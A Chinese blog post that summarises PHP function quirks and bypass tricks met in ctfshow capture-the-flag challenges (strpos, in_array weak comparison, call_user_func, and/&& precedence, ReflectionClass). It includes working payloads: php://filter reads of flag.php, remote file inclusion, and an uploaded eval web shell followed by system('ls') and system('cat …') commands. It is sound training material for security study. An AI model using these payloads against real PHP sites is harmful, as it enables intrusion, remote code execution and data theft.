[web安全学习] ctfshow-php特性总结

本文概述了PHP中常用函数如intval、strpos、is_numeric等的用法,并揭示了如何通过绕过方法避开安全限制,如伪协议、数组操作、反射类等。讨论了变量覆盖、弱类型比较、RCE技巧和代码注入,展示了在实际开发中的安全挑战和应对策略。

一. 常见php函数

1. intval

在这里插入图片描述
即获取变量的整数值

2. strpos

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
针对此函数:
1.使用php伪协议绕过
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
2.远程文件包含
在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话
另外还有数组绕过:
stripos应用于数组的时候会返回null,null!==false

3. is_numeric

返回值:
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE。
is_numeric在php5的环境中,是可以识别十六进制的。但在php7中有的十六进制数不能被识别为数字。

4. var_dump()

var_dump() 函数用于输出变量的相关信息。

5. call_user_func()函数

语法:call_user_func(PHP 4, PHP 5, PHP 7)
第一个参数作为回调函数调用,其余参数是回调函数的参数

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
   
   
    function __wakeup(){
   
   
        die("private class");
    }
    static function getFlag(){
   
   
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

调用类中的静态函数:
payload: ctfshow=ctfshow::getFlag
补充:->和::的区别

-> 调用实例方法
:: 调用静态方法
在类里面的时候,$this->func()和self::func()没什么区别。
在外部的时候,->必须是实例化后的对象使用;而::可以是未实例化的类名直接调用。

同时:call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。如果::被过滤可以使用数组绕过。

5. parse_str

parse_str — 将字符串解析成多个变量

parse_str ( string KaTeX parse error: Expected 'EOF', got '&' at position 25: …tring [, array &̲result ] ) : void

如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
例如:

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

6. strrev

字符串反转

7. get_defined_vars

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

二. 常见绕过方法

尝试添加加号+和空格进行绕过

进制绕过

采用伪协议绕过如:

?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php

数组绕过

对于md5加密:a[]=1&b[]=2
在这里插入图片描述

三目运算符+变量覆盖

例:如果get传了一个值,那么就可以用post覆盖get中的值。
最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

PHP弱类型比较

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
   
    
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
   
   
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array函数漏洞:
在这里插入图片描述
因为没有设置第三个参数,则为弱类型比较,因为新加进去的随机数字每次都包含1,1存在的几率是最大的。

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

绕过方法:
传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,而数字1在 range(1,24)数组中,当随机生成的数字正好是1时绕过 in_array()函数判断,导致任意文件上传漏洞。
payload:

?n=1.php   
post:   content=<?php eval($_POST[1]);?>  #写入一句话

多试几次,直到不报错的那一次,说明成功传入一句话。

然后访问https://url/1.php,再post传入1=system(‘ls’);

再访问这个flag36d.php,即post: 1=system(‘cat flag36d.php’);

然后在网页源码中看到flag

and与&&的区别+反射类ReflectionClass的使用

$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   
   
    if(!preg_match("/\;/", $v2)){
   
   
        if(preg_match("/\;/", $v3)){
   
   
            eval("$v2('ctfshow')$v3");
        }
    }
}

1)and和&&的区别

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

因此对于$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);只需要使v1为true即可进入if
2) 反射类
直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
payload:?v1=1&v2=echo new ReflectionClass&v3=;
对于反射类借用羽师傅的wp:

<?php
class A{
   
   
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
   
   
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
   
   
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
   
   
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
   
   
  [0]=>
  object(ReflectionMethod)#2 (2) {
   
   
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

绕过is_numeric

一是利用科学计数法,二是对于<?, ?> ; () # []等可以利用php伪协议base64编码,然后十六进制就可以绕过


                
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y1seco

我们都在慢慢进步

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值